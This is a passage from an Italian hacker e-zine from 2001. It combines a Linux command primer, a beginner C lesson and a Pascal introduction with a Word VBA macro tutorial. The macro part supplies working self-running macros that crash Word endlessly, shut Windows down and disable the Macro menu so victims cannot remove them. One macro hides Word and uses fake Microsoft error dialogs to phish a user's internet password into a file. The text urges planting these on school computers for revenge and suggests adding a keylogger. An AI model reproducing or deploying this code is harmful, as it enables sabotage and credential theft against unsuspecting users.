l'imput del secondo comando: in questo caso redirige l'output di cat <nomefile> (cioe'
la stampa su schermo del testo contenuto nel file) al comando more: in pratica esso
ci permette di leggere testi piu' lunghi dello schermo, dividendoli in "pagine", cosi'
da poterle scorrere premendo un tasto qualsiasi della tastiera.

grep: grep -i -l <stringa> <nome file o directory> ----> cerca in un file una stringa, -i
e' l'opzione per rendere la ricerca case insensitive (ovvero senza far caso alle maiuscole
o minuscole). Se si cerca in una directory si deve usare l'opzione -l che elenca i nomi
dei file in cui si e' trovata la stringa e non presenta invece le linee dei files
in cui e' inclusa la stringa cercata.

find: find <dir in cui cercare (comprese sue subdir)> -iname <nome file da cercare> -print
Cio' ci fa cercare un file nelle dir che scegliamo noi. -iname e' l'opzione per renderlo
case insensitive, mentre -print fa visualizzare l'output del comando.
Anziche' -iname <nomefile> possiamo usare:
-user <nome proprietario del file da cercare>
-atime +<numero giorni> ---> file a cui non si e' acceduto da quel numero di giorni
-mtime +<numero giorni> ---> file non modificati da quel numero di giorni

file: file <nomefile> ci permette di sapere con che tipo di file abbiamo a che fare (x es.
audio, video, ecc.)

COMPRESSIONE FILES

gzip: gzip <file da comprimere> ci fa comprimere un file secondo lo standard zip.
gzip -d <file da decomprimere> ce lo fa decomprimere.

tar: tar -cvf <nome archivio> <dir da comprimere> ----> comprime 1 o piu' dir in 1 file archivio
tar -xvf <nome archivio> ----> decomprime un archivio tar

UTENTI E PASSWORD

id: mostra l'uid corrente dell'utente (root ha uid = 0)

useradd: per aggiungere utenti dalla linea di comando. La sintassi e':
useradd -b / -s /bin/bash malkavian ---> crea in un sistema con shadowing delle passwd
l'utente "malkavian", senza homedir, che
quando fara' il login si ritrova in /
passwd malkavian ---> va digitato dopo del precedente per scegliere la passwd

userdel: userdel -r malkavian ---> cancella user ed eventuale homedir (opzione -r)

su: serve, una volta che abbiamo gia' fatto il login nel sistema a "prendere" l'identita' di un
altro user. Sintassi: su <user che vogliamo diventare>
Senza specificare dopo "su" il nome dell'utente che vogliamo diventare, si intende che
vogliamo diventare root. Per diventare un altro utente bisogna conoscerne la password, a
meno che non ci si sia gia' autenticati come root.

passwd: con la sintassi passwd <nomeutente> possiamo cambiare la passwd di accesso dell'utente,
a patto di conoscere la passwd vecchia (tranne se si e' root!!!)

PROCESSI

ps: con ps -ax vedrete la lista dei processi attivi sul vostro sistema con i relativi PID:
numero con cui si identifica ciascun processo e che serve in caso voi vogliate forzarne la
terminazione (killandolo col comando kill <numero PID> )
Se la lista e' troppo lunga provate ps -ax | more
Se volete piu' dettagli sui processi (ad esempio l'utente che li ha lanciati, ecc.) usate
ps -axl | more

& : l'opzione &, se segue un comando, ve lo fara' eseguire in background, cioe' quando le
risorse del sistema non sono usate da altri processi. Sintassi: <comando> &

MAIL

per spedire o leggere messaggi sul sistema si usa il comando "mail" .
es: mail malkavian ---> spedisco un messaggio all'utente malkavian. alla fine del messaggio scrivere un "." seguito da una riga vuota per terminare la scrittura del messaggio ed inviarlo.
Per ricevere la posta: eseguire il login, se c'e' posta verrete avvertiti (you have mail).
Digitate a questo punto "mail" ed entrerete nel programma di gestione della posta. Per leggere un nuovo messaggio premere INVIO, per cancellarli premere "d".

MAN

Ricordate che oltre tutti questi comandi principali che vi ho elencato ne esistono molti altri.
Per sapere cosa fanno ricrdatevi il comando piu' importante di tutti: man <nome comando>
Esso vi dara' info su ogni comando voi non conosciate!!!

Hours: 11:20 -----------------------------------------------------------------------------

Ho terminato questo pezzo sui comandi linux e non solo...
Spero di avere insegnato a tutti voi qualcosa (con la massima modestia da parte mia, non mi
erigo certo a maestro!) o almeno di avervi fatto fare un bel ripasso dei comandi essenziali che
dovreste conoscere. Non per niente l'articolo si intitolava What U must to know II (la prima
parte trattava reti, ecc. e si trova sui primi numeri di OQ o sul mio sito).
Beh, che dire...buona fortuna a tutti voi e buon lavoro:)

scritto da 'Malkavian' >>>>> www.malkavian13.org >>>>> malkavian@malkavian13.org
===========================================================================================

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #03 - 17/09/2001 |
| C0RS0 Di C (PARTE SEC0NDA) [JEYoNE] 0x0E/0x29 |
+-------------------------------------------------------------------------------+

Buongiorno a tutti ragazzi, eccoci qui, pronti a procedere con la seconda parte del corso che abbiamo iniziato la volta scorsa.
Il primo passaggio che il compilatore esegue, è quello del preprocessore, che si occupa di eseguire le direttive #include e #define.
La direttiva #include, come abbiamo già visto, fa si che vengano caricati i file header, i quali contengono costanti, strutture o funzioni definite a priori.
Il comando #define invece serve per eseguire delle sostituzioni tra parole e numeri, prima di cominciare la compilazione, ad esempio:

#define PHOBOS 19.15

Fa si che noi possiamo scrivere nel listato PHOBOS al posto di 19.15, e questo non è definire una variabile, facciamo soltanto in modo che quando noi andremo a scrivere PHOBOS in qualunque punto del listato, il compilatore lo interpreti come 19.15.
Le operazioni di questo tipo possono essere utili per interpretare meglio il codice, sostituendo una parola ad un numero a lui associato.
C'è da notare che gli identificatori, cioè la parola che viene sostituita al numero dopo il comando #define deve essere scritta in MAIUSCOLO, a differenza delle variabili che vanno scritte in minuscolo, rendendo ancora più facile la distinzione tra questi due.
Se in un listato abbiamo ripetuto molte volte un #define, e un giorno o l'altro dovessimo cambiare il valore di questo #define, non dovremmo fare nient'altro che sostituire tale valore dopo la dichiarazione all'inizio del codice.
Se non avessimo dichiarato il #define, invece, dovremmo andare a ricercare tale valore in tutto il codice, con il rischio di saltarne qualcuno, i risultati sarebbero pressoche disastrosi, non credete?
La sintassi non è complicata, si mette il #define, poi si mette il testo che vogliamo usare e infine il testo con cui sarà sostituito al momento del preprocessing.
I due testi devono essere separati da uno spazio.
Ecco alcuni esempi:

#define GRUPPO HacKManiaCi
#define EZINE OndaQuadra
#define NUMERO 4

A questo punto, quando scriviamo:

GRUPPO
EZINE
NUMERO

Il preprocessore sostituirà i testi prima di iniziare, otterremo così:

HacKManiaCi
OndaQuadra
4

Ora vediamo un listato di esempio, nel quale, oltre a tutto quello che abbiamo visto la scorsa volta, andremo ad aggiungere il #define:

#include <stdio.h> /* Includiamo la libreria stdio.h */

#define PRIMO 100 /* Associamo a PRIMO il valore di 100, scrivendo PRIMO nel listato il compilatore lo interpreterà come 100 */
#define SECONDO 1.5 /* Definiamo SECONDO come 1.5 */

#define TERZO 7.88 /* Definiamo TERZO come 7.88 */

int jey = 2000; /* Dichiaro una variabile, dandogli il valore di 2000 */

int phob; /* Dichiaro una variabile di tipo int */

float trit, tdi; /* Dichiaro 2 variabili di tipo float */

main()

{ /* Inizio della funzione main() */

phob = jey + PRIMO; /* Assegnamo a phob il valore di jey + 100 */

trit = SECONDO; /* Assegnamo a trit il valore di 1.5 */

tdi = TERZO; /* Assegnamo a tdi il valore di 7.88 */

printf("jey = %d , phob = %d", jey, phob);
/* Stampiamo i valori delle 2 variabili
int con un solo printf */


printf("trit = %f, tdi= %f", trit, tdi);
/* Stampiamo i valori delle 2 variabili
float con un solo printf */


printf("jey=%d, phob=%d, trit=%f, tdi=%f", jey,phob,trit,tdi);
/* Stampiamo tutte e 4 le variabili con
un solo printf */

} /* Fine della funzione main() */

/* Questo codice è lo stesso che abbiamo visto in precedenza nella lezione del numero scorso, abbiamo però aggiunto il #define e abbiamo inizializzato una variabile dandogli subito il valore */

Bene, abbiamo finito di spiegare il #define, è tutto chiaro? Possiamo andare avanti? Tu, là in fondo, che alzi la mano, dimmi, che cosa non hai capito?
Ah, devi andare in bagno? Ok vai, anzi, facciamo pausa per tutti, fumate una sigaretta e poi tornate, dieci minuti eh?!?!
...
...
...
Ci siamo tutti, siete pronti per prendere appunti?
Fino ad ora abbiamo visto come dichiarare e modificare le variabili, come stamparle a monitor, ma non abbiamo ancora visto come interagire con il programma, mettendo un tale valore dalla tastiera mentre il programma è in esecuzione.
E' esattamente quello che andremo a vedere ora, grazie alla funzione scanf(), il funzionamento è molto simile al printf():

scanf( "%d" &jey);
Se vogliamo inserire un numero intero all'interno della stringa di controllo (int) scriviamo il solito %d, se invece è un numero decimale (float) scriviamo %f, esattamente come facevamo col printf().
Quando andiamo a immettere la stringa di conntrollo, oltre al %d o al %f non dovremo scrivere niente, qualunque altra cosa sarebbe interpretata come "carattere da scartare" in lettura, quindi andrebbe perso. Se si vuole stampare un messaggio prima di far inserire il valore da tastiera dovremo usare il printf():

printf("Scrivi un numero\n"); /* Stampiamo il messaggio */
scanf( "%d", &jey); /* Scriviamo il numero,e lo salviamo come valore di jey*/

Queste istruzioni non fanno altro che stampare a monitor la domanda di inserire un numero e leggere dalla tastiera il valore che abbiamo dato alla variabile jey, memorizzandone il valore.
Il procedimento è lo stesso che per il printf(), solo che prima del nome della variabile va inserito il carattere "&".
Ora vediamo di utilizzare lo scanf() per fare la somma di due numeri:

#include <stdio.h> /* Includiamo la libreria stdio.h */

float jey,trit,phob; /* Dichiariamo 3 variabili float */

main() /* Funzione principale*/
{ /* Inizio della funzione main() */

printf(" Inserisci il primo numero: \n "); /* Primo messaggio */

scanf ("%f", &jey); /* Richiediamo il primo numero da tastiera, e lo salviamo come valore della variabile jey*/
printf(" Inserisci il secondo numero: \n");/* Secondo messaggio*/

scanf("%f", &trit); /* Richiediamo il secondo numero da tastiera e lo salviamo come valore della variabile trit */

phob = jey + trit; /* Assegnamo alla variabile phob il valore di jey + trit */

printf(" La somma di %f e di %f è uguale a %f", jey, trit, phob);
/* Stampiamo a monitor il valore delle 3 variabili */
} /* Fine della funzione main() */



In questo esercizio abbiamo usato delle variabili di tipo float, in modo tale che avremmo potuto inserire sia numeri interi che numeri decimali.
Ricordiamoci che bisogna usare il punto "." per definire un numero decimale, per esempio 5.43 e non la virgola!
Possiamo anche limitare la lunghezza di una cifra stampata andando a modificare il %f.
Ad esempio se scrivessimo %.4f avremmo la stampa di un numero con 4 cifre dopo lo virgola.
Allo stesso modo se scrivessimo %4.0f la lunghezza del numero sarà di quattro cifre prima della virgola e di nessuna dopo.

Abbiamo terminato di dire anche quello che riguarda lo scanf(), quindi direi che è il momento di procedere con qualcos'altro.
Cosa avevamo detto che facevamo la volta scorsa....aiutatemi....ah si, bravi, dobbiamo prendere in considerazione il loop e l'istruzione FOR.
Allora, il loop non fa altro che ripetere l'esecuzione di un'istruzione per un determinato numero di volte, per questo compito ci viene in aiuto l'istruzione FOR, che va interpretata così:

for(inizializzazione ; condizione ; incremento)
istruzione da eseguire;

inizializzazione: istruzione di assegnamento, per esempio jey=1
condizione: limite che indica quando terminare, per esempio jey<10 incremento: incremento del valore della variabile ad ogn

  
i loop, per esempio jey=jey+1

Ecco un esempio:

for(jey=1 ; jey<10 ; jey=jey+1)
printf("OndaQuadra\n");

Qui abbiamo dato il valore di 1 a jey, ad ongi loop eseguiamo il printf, aumentiamo di 1 il valore di jey, controlliamo se è maggiore di 10, se non è così, ripetiamo il loop finchè jey non arriva a superare il valore dato nella "condizione" (jey<10).
Per specificare la condizione "jey minore di 10" abbiamo usato l'operatore <, che significa "minore".
Vediamo ora tutti gli operatori:

> Maggiore
< Minore
>= Maggiore o uguale
<= Minore o uguale
== Uguale
!= Diverso

Possiamo dire che i loop eseguono di nuovo le operazioni fino a quando la condizione è vera, quando la condizione diventa falsa, il loop si ferma.
Vediamo:

#include <stdio.h> /* Solita libreria, da qui non metterò più il commento per questo! */

int jey; /* Variabile intera che viene modificata
tramite l'incremento */


main()
{
for(jey=1 ; jey<10 ; jey=jey+1)
printf("OndaQuadra\n");
}

Abbiamo eseguito un loop che stampa a monitor 9 volte la parola OndaQuadra. Abbiamo impostato 1 come valore iniziale di jey, lo abbiamo fatto salire di 1 ad ogni loop, e abbiamo detto di continuare ad eseguire l'operazione finchè jey è minore di 10.
C'è da notare che il punto e virgola va messo dopo il printf, cioè dopo l'istruzione eseguita in loop dal for.
Abbiamo visto il loop con la sua sintassi per esteso, ora andremo a vederlo con una sintassi abbreviata, cioè al posto di scrivere jey = jey+1 possiamo scrivere jey++.
Allo stesso modo, al posto di scrivere jey = jey-1 possiamo scrivere jey--.
In questo caso il nostro for diventa così:
for(jey=1, jey<10, jey++)
printf("OndaQuadra\n");
Ci sono altri operatori, oltre all' "=" che ci faranno risparmiare tempo e spazio, ecco un elenco:

jey += trit; equivale a jey = jey + trit;
jey -= trit; equivale a jey = jey - trit;
jey *= trit; equivale a jey = jey * trit;
jey /= trit; equivale a jey = jey / trit;

Quando ad una variabile si assegna il valore della stessa +,-,*,/, un altra variabile o costante, anzichè riscrivere il nome si abbrevia in questo modo:

jey = jey + 5; equivale a jey += 5;
jey = jey * 3 equivale a jey *= 3;

Infine vediamo come eseguire più di una istruzione in un loop for.
Per includere le istruzioni all'interno di un blocco dobbiamo aprire la graffa {, mettere le istruzioni normalmente, terminandole con il punto e virgola, e richiudere il blocco con la parentesi }.
Vediamo:

#include <stdio.h>

main()
{ /* Inizio della funzione main*/
int jey, trit; /* Definiamo una variabile jey che servirà come contatore * per i cicli FOR.
* La variabile trit serve per mostrare l'uso di più * istruzioni ogni ciclo. */


for(jey=1 ; jey<10 ; jey++ /* jey++ è uguale a jey=jey+1, ricordate? */

{ /* Apro il blocco */
printf("Dammi il valore di trit: ");
scanf("%d",&trit);
printf("jey vale %d, trit invece vale %d\n, jey , trit);

} /* Chiudo il blocco */

} /* Fine della funzione main() */



Andiamo avanti...
...
...
...
...
DRIINNNN!!!

Va bene ragazzi, è suonata la campanella, potete andare.
Ci sono domande?
Bene.
La prossima volta parleremo parleremo del costrutto IF, del suo ramo opzionale ELSE e del costrutto SWITCH.
Ci vediamo tra 2 mesi!
Ciao ciao
JEYoNE

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #03 - 17/09/2001 |
| iNTR0 ALLE MACR0 (5/6) [MASTRO] 0x0F/0x29 |
+-------------------------------------------------------------------------------+


MACRO: PARTE 3° "
PROGRAMMAZIONE VERY-HARD"

Ok!
Attenzione, non dovete farvi spaventare dal titolo "
PROGRAMMAZIONE VERY-HARD", perchè l'ho scritto solo per continuare l'ordine (base - media - hard - very_hard - ???). ;)

Questa volta ci occuperemo dell'oggetto "
Application".
Ne avete visto qualche cosa nella parte "
Divertirsi con l'utente", in particolare:

Sub pippo()
MsgBox "
Tu sei" & Application.UserName & "altro testo"
End Sub

Qui il messaggio visualizza il nome impostato dall'utente, quindi se come nome ha messo Pippo Baudo, la macro metterà quel nome.
Le "
&" servono per indicare che il nome va inserito nel messaggio.

I comandi disponibili in "
Application" sono molti, e uno dei più utili è "File search": infatti serve per trovare file inpostando dove cercare e cosa cercare.
Utilizzando il comando With.....End WIth, tutto sarà più facile.

Application.File Search
.LookIn = "
Directory in cui cercare"
.FileName = "
Nome del file"

Se non sapete il nome del file potete:
sapendo l'estensione ma non il nome ==> .FileName = "
*.doc"
.FileName = "
*.com"
.FileName = "
*.exe"

Grazie a "
*" potete indicare tutti i file con l'estensione ".doc", oppure dovete se trovare un file che si chiama "pippo" ma l'estensione non la sapete:

.FileName = "
pippo.*"

Ora il codice per trovare un file nella cartella Documenti che inizia per com....

Set fs = Application.FileSearch
With fs
.LookIn = "
C:\Documenti"
.FileName = "
com*"
If .Execute(SortBy:=msoSortbyFileName, _
SortOrder:=msoSortOrderAscending) > 0 Then
MsgBox "
Trovati " & .FoundFiles.Count & _ 'messaggio che indica quanti file sono stati trovati
"
file"
For i = 1 To .FoundFiles.Count ' per ogni file trovato ne indica il percorso
MsgBox .FoundFiles(i)
Next i
Else ' se non lo trova......
MsgBox "
Nessun file trovato"
End If
End With


Come può esserci utile tutta stà roba??? Così:


Set fs = Application.FileSearch
With fs
.LookIn = "
C:\Windows"
.FileName = "
*.*" ' Cerca tutti i file!
If .Execute(SortBy:=msoSortbyFileName, _
SortOrder:=msoSortOrderAscending) > 0 Then
MsgBox "
Tu hai la bellezza di " & .FoundFiles.Count & _
"
file!!"
For i = 1 To .FoundFiles.Count
MsgBox .FoundFiles(i)
Next i
Else
MsgBox "
Non hai un caxxo di file!!!"
End If
End With


E sei poi ci aggiungiamo una particolarità........ ;)


"
Tasks" (sempre nell'insieme "Applicaton") riunisce tutte le applicazioni in esecuzione.


If Tasks.Exists("
Calcolatrice") Then ' se la calcolatrice è attiva.....
With Tasks("
Calcolatrice")
.Activate
.WindowState = wdWindowStateNormal ' lo stato della finestra viene impostato.
End With
Else ' oppure la attiva
Shell "
calc.exe"
Tasks("
Calcolatrice").WindowState = wdWindowStateNormal
End If


La bellezza di "
Tasks" è che esiste un comando chiamato "ExitWindows", e già dal nome il comando è tutto un programma.......
Il comando è semplice-semplice:

Tasks.ExitWindows

Visto?!? ;)


Tornando a "
File Search"....

Sub AutoExec()
Set fs = Application.FileSearch
With fs
.LookIn = "
C:\Windows"
.FileName = "
*.*" ' Cerca tutti i file!
If .Execute(SortBy:=msoSortbyFileName, _
SortOrder:=msoSortOrderAscending) > 0 Then
MsgBox "
Tu hai la bellezza di " & .FoundFiles.Count & _
"
file!!"
For i = 1 To .FoundFiles.Count
MsgBox .FoundFiles(i)
Next i
Else
MsgBox "
Non hai un caxxo di file!!!"
End If
End With
Tasks.ExitWindows ' Chiude Windows senza salvare un cazzo!
End Sub

Quindi se il coglione apre Word, prima si vede l'elenco e il percorso di tutti i suoi file, poi windows gli si chiude in faccia!



A T T E N Z I O N E ! !

E' sempre meglio mettere in ogni codice macro un "
extra", la disabilitazione del menu "Macro".
Fortunatamente sono in pochi a conoscere la combinazione di tasti che blocca l'esecuzione della macro, quindi senza la possibilità di accedere al codice di Visual Basic, il coglione è tagliato fuori!

Quindi in ogni vostra "
creazione" inserite:

CommandBars("
Tools").Controls("Macro").Enabled = False


MACRO: PARTE 6° "
PROGRAMMAZIONE PRO-DEVASTO"

Ok!
In questa parte non spiegherò cosa nuove, ma vi insegnerò come devastare Word con i mezzi insegnati fino ad ora.

Che cosa odiano tutti quelli che utilizza abitualmente Word?..........Che lo stesso Word non funzioni!
Immaginate ora che ad ogni apertura di Word questi se ne fotta e si chiuda automatico e immediato..... ;)

Sub pippo()
SendKeys "
%{F4}", True
Application.Run MacroName:="
pippo"
End Sub

ALT+F4 chiude le applicazioni in generale (Word, Excel, Notepad, ....)
E se......

Sub AutoExec()
SendKeys "
%{F4}", True
Application.Run MacroName:="
AutoExec"
End Sub

D'ora in poi il coglione si può anche scordare di utilizzare Word!! (potete farlo anche con Excel!)

Girando nella rete ho trovato alcuni siti da cui scaricare virus Macro (ultra-vecchi e puntualmente bloccati dal mio antivirus!), e anche alcune enciclopedie sulle macro di Visual Basic per Word,
ma erano tutte robe difficili e complicate per chi non aveva mai toccato in vita sua Word.....così ho deciso di fare questa guida.
Navigando tra un sito e l'altro ho anche scaricato parecchi virus da fabbricare (ti davano il codice e tu lo inserivi), che pretendevano di fare in modo che comparisse un messaggio "
perpetuo" su Word grazie a dei file scaricabili
e richiamabili con il codice macro.
Ma chi caxxo erano???
Non sapevano proprio un caxxo sulle macro?

Vabbè, per fortuna che ci sono io.... ;)

Sub AutoExec()
MsgBox "
Word ha eseguido un comando errato e per questo verrà chiuso. Contattare il fornitore per maggiori informazioni", vbCritical
Application.Run MacroName:="
AutoExec"
End Sub

Fatto!
Il tutto senza richiamare file o scaricare oggetti!
Con due righe di codice ho risolto il problema!

Se volete potete fare uno "
shake" di tutti e due:

Sub AutoExec()
MsgBox "
Word ha eseguido un comando errato e per questo verrà chiuso. Contattare il fornitore per maggiori informazioni", VbCritical
SendKeys "
%{F4}", True
Application.Run MacroName:="
AutoExec"
End Sub

Questo potete anche metterlo nei pc della vostra scuola, visto che magari usate Word continuamente sarà facile entrare in Visual Basic e piazzare il codice.
Ora potete vendicarvi!
Ora ad ogni avvio di Word la macro fa apparire il messaggio d'errore e poi chiude tutto!

Un "
Input Box" infinito?

Sub AutoExec()
InputBox("
Questo messaggio non va più via?", "Word has been infected!", "mi sono beccato un virus!")
Application.Run MacroName:="
AutoExec"
End Sub

Oppure con una domanda (meglio non farne molte):

Sub AutoExec
e = InputBox("
Se io dico Word Infettato, tu cosa dici?", "Word has been infected!")
If e = "
Sono nella merda" Then
MsgBox "
Hai ragione bello!"
Else
MsgBox "
Non so cosa dici tu, ma io dico che Word non lo usi più (a vita!)", VbCritical, "Microsoft Word Infettato!"
End If
Application.Run MacroName:="
AutoExec"
End Sub


Ora viene una piccola "
applicazione" creata da me: questa dovrebbe fottere la password di Internet all'utente e salvarla su un file di Notepad, che poi consultiamo liberamente accedendo al pc.
Il fatto è che salvando la password, il file va automatico nei documenti, e l'utente potrebbe cancellarlo, così ho aggiunto una piccola particolarità: Word viene avviato, ma non si vede!!
Infatti non compare sulla barra delle applicazioni o nel desktop, ma soltanto premendo ALT+CONTROL+CANC si trova la possibilità di chiudere Word.


A T T E N Z I O N E ! !

Assolutamente NON dovete sperimentarlo sul vostro computer, perchè non c'è modo di bloccare la macro, o di riaprire Word (il modo veramente c'è ma è COMPLICATISSIMO!).


Sub AutoExec()
Application.Visible = False
MsgBox "
Verificato conflitto tra le applicazioni a livello locale, si desidera correggere l'errore riscontrato?", vbCritical
MsgBox "
Le applicazioni in conflitto sono Internet Explorer e il file Win.ini. E' necessaria la password per l'accesso ad Internet per risolvere l'errore.", VbCritical
e = InputBox("
Immettere la password per l'accesso ad Internet, se non si possiede un collegamento ad Internet premere ANNULLA.")
MsgBox "
La password impostata per l'accesso ad Internet è " & e
MsgBox "
Ora la password verrà salvata in un documento di testo per evitare eventuali conflitti futuri tra le periferiche. L'utente è pregato di non cancellare il file, causa danneggiamenti file interni.", vbCritical, "Microsoft risoluzione problemi"
Dim ReturnValue, I
ReturnValue = Shell("
NOTEPAD.EXE", 1) ' apre Notepad
AppActivate ReturnValue
SendKeys e ' scrive la password
SendKeys "
%{F4}", True ' chiude
SendKeys "
Pass", True ' il nome del documento
SendKeys "
{ENTER}", True ' INVIO
End Sub

Il coglione non apre più Word e, volendo, possiamo fare in modo di andare a casa sua dicendo che siamo in grado di risolvergli il problema, leggere il file Notepad con la password, e andarcene senza risolvere un caxxo!
Oppure prima potete piazzarli nel pc un Keylogger per fottergli tutte le altre password!


Vi ripeto di stare attenti, perchè non è facile estirpare questo codice per poter riutilizzare Word!

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [C0DiNG] #03 - 17/09/2001 |
| iNTR0DUZi0NE ALLA PR0GRAMMAZi0NE (PASCAL) [Xp Terminator] 0x10/0x29 |
+-------------------------------------------------------------------------------+



+--+-+-+-++--++-+-+++--++-+-+-+-++-+--+-+-++--+-+-+-+-+-+-+-+-++-+-+--+-++--+
GUIDA AL PASCAL
by Xp Terminator
+--+-+-+-++--++-+-+++--++-+-+-+-++-+--+-+-++--+-+-+-+-+-+-+-+-++-+-+--+-++--+

oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
Ne io ne lo staff di oq si assume responsabilità su ciò che farete con le
informazioni di questo tutorial, anche se credo che non si possa fare nulla
di male...
oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO


Premetto che con questa guida non si diventerà di certo guro della programmazione
ma è una buona introduzione ai concetti principali della programmazione, se poi
si vuole passare a linguaggi più complicati.
Ho scelto come linguaggio il pascal, poichè è semplice, ed in rete si può trovare
veramente tanto materiale su di esso.

Il pascal e` un linguaggio di programmazione straordinario, ed a differenza
di come la pensano in molti e` anche molto potente, grazie anche alla
possibilita` di utilizzare file object compilati con altri linguaggi,
e di inserire frammenti di codice assembler, un linguaggio a bassissimo
livello con il quale e` possibile fare qualunque cosa. Magari in futuro
scrivero` una guida anche per l`assembler.
Il pascal e` un linguaggio ad alto livello, cioe` e` ben lontano dal linguaggio
macchina. I linguaggi di programmazione possono essere divisi in due categorie,
quelli che vengono eseguiti direttamente (come per esempio il basic, o i file
batch del dos), e quelli che per essere eseguiti hanno prima bisogno di essere
compilati (tramite la compilazione viene creato un file .obj) e linkati
(con il link viene creato il file eseguibile).
Il pascal fa parte di questi ultimi, ed e` un pregio, perche` i file che vengono
eseguiti direttamente sono molto + lenti e gli errori non vengono segnalati,
ma si scoprono man mano che si esegue il programma.
Esistono vari compilatori per il pascal, e tra di loro vi sono poche differenze.
Io consiglierei il Borland Pascal 7.0, l'ultima versione rilasciata, prima
dell`avvento del Delphi, il "
pascal visuale" un po` come il visual basic, che
e` il basic visuale. Io sinceramente consiglierei il Delphi x chi ha intenzione
di programmare sotto so windows con interfaccia grafica; con il pascal, si
possono creare non solo applicazioni che girano sotto dos o sotto windows in
interfaccia in modalita` testo, ma addirittura si possono creare sistemi
operativi! come per esempio, Menuet, scritto con 25000 righe in turbo pascal,
+ quasi 2000 scritte in Assembler. Il borland pascal 7.0 e` downloadabile
dall`url http://www.computertemple.com nella sezione utility.
Ecco un semplicissimo programma in Pascal:

program prova;
{questo e` un commento!}
uses crt;
var stringa : string;

begin
stringa := 'Hello world!!!';
writeln(stringa);
repeat until keypressed;
end.

provate a compilarlo ed eseguirlo, otterrete come output:

Hello world!!!

Ora esaminiamo questo piccolo frammento di codice sorgente:

program prova; ---> questa riga non fa altro che dichiarare il nome del
programma che scriviamo; questa riga e` omettibile;
il nome del programma non puo` contenere spazi, io
consiglierei di sostituirli con gli underline _ .

{questo e` un commento} ---> Servono commenti? :))) spero di no, cmq
tra parentesi graffe possono essere
inseriti i commenti; cio` e` molto utile
quando il programma diventera` + complesso,
e dovremo rivederlo, cosi` potremo commentare
a cosa servira` una riga

uses crt; ---> il pascal come qualunque altro linguaggio di programmazione
permette di inserire librerie nel proprio programma. Le
librerie specificamente in pascal sono chiamate "
unit".
Queste sono molto utili, per diminuire il codice sorgente
del programma; infatti, procedure e funzioni (spieghero`
dopo cosa sono + approfonditamente) possono essere scritte
in unit; queste quando vengono compilate, creano un file
con estensione .tpu , quindi poi bastera` inserire nel
proprio programma "
uses libreria,libreria2,nlibrerie;"
(ricordate che il file libreria si dovra` trovare nella
stessa directory del file sorgente, oppure nelle directory
tpu del nostro compilatore pascal). Spesso le librerie
vengono utilizzate a scopo commerciale, infatti vengono
dati gratuitamente i file .tpu (dai quali non si puo` vedere
il codice sorgente della unit), e i file sorgenti ,invece,
vengono dati solo in cambio di soldi. (In verita` dalle tpu
si puo` risalire ai codici sorgenti delle librerie in un
modo non molto legale detto Reverse engineering :) ).
Con questa riga non abbiamo fatto altro quindi che includere
la libreria "
crt" nel nostro programma. Questa libreria e`
insieme a quella "
dos", la + utilizzata, per l`utilita` delle
procedure incluse.

var striga : string; ---> leggi + avanti...

begin ---> con il comando begin si dichiara l`inizio del programma,
di un ciclo, di una procedura o di una funzione.
In questo caso abbiamo dichiarato l`inizio del programma
vero e proprio.

stringa := 'Hello world!!!'; ---> leggi + avanti...

writeln(stringa); ---> con il comando writeln viene stampato a video
un testo, od una variabile come in questo caso.
Il testo viene stampato sul punto attuale del cursore.

repeat until keypressed; ---> Questo e` un ciclo, e la sua sintassi e`:
repeat comando1 comando2 ... until condizione;
cioe` vengono ripetuti i comandi finche`
non avviene la condizione. In questo caso
come vedete viene ripetuto "
" finche` non
viene premuto un tasto. Cioe` non avviene
un bel niente finche` non viene premuto un
tasto. Altri cicli li vedremo + avanti...

end. ---> End e` l`equivalente dell`opposto di begin, infatti esso
dichiara la fine di una procedure, di un ciclo, di una funzione
o del programma vero e proprio. In questo caso dichiara la fine
del programma essendo seguito da un punto . Quando ,invece,
dichiara la fine di un`altra delle ipotesi suddette viene seguito
da una virgola, .


Come avete notato alla fine di ogni riga e` obbligatorio inserire un "
;", se
no viene considerato come un errore. Le uniche eccezioni sono il begin,
i commenti, e l`end finale, che come avete visto e` seguito da punto.
Inoltre, avrete sicuramente notato che il codice dopo il begin e spostato
con una tabulazione a destra. Questo non e` obbligatorio ma e` molto utile
per rendere il programma facilmente "
leggibile".

Come premesso ora parlero` approfonditamente delle variabili, della loro
funzione e dichiarazione.
Le variabili non sono altro che dei "
cassetti" infatti, quando dichiariamo
una variabile non facciamo altro che assegnare ad una parte della nostra
memoria ram il compito di contenere un valore. Le variabili vengono dichiarate
con questa sintassi:
var nomevariabile : tipovariabile;
Il nome della variabile puo` essere qualunque basta che non sia una parola
chiave. Le parole chiave variano da compilatore a compilatore.
I tipi di variabili possono essere del testo : "
string", un singolo carattere
della tabella ASCII : "
char", booleano cioe` con valori true o false "boolean",
od un numero. I tipi di variabili numero sono molti,
ecco i maggiori:
"
byte" : valori da 0 a 255
"
integer" : valori da -32768 a 32767
"
real" : valori in virgola mobile

I valori delle variabili devono essere dichiarati dopo il begin, con questa
sintassi:
nomevariabile := valore;
Quando la variabile e` numerica la sintassi e` come in questo esempio:

numero:=6378;

mentre quando si tratta di un testo o di un carattere:

stringa:='Hello world!!!';
carattere:='d';

Le variabili sono utili per ottenere degli input da colui che esegue il
programma, vedete per esempio questo codice:

uses crt;

var input1,input2 : string;
input3 : byte;

begin
clrscr;
writeln;
write('Qual e'' il tuo nome? ');
readln(input1);
write('Qual e'' il tuo cognome? ');
readln(input2);
write('Quanti anni hai?');
readln(input3);
writeln;
writeln(input1,' ',input2,' ha ', input3, ' anni.');
repeat until keypressed;
end.

eseguendo questo programma otterrete:


Qual e' il tuo nome? Xp
Qual e' il tuo cognome? Terminator
Quanti anni hai? 16

Xp Terminator ha 16 anni.

Analizziamolo:
le righe fino al begin le abbiamo tutte gia` visto precedentemente.
clrscr; ---> questa procedura si trova nella libreria crt, e non fa
altro che fare pagina pulita.

writeln; ---> come visto in precedenza writeln serve per stampare
a video qualcosa, in questo caso lasciamo solo una riga vuota.

write('Qual e'' il tuo nome?'); ---> write ha lo stesso utilizzo di writeln,
ma al termine della scrittura a video
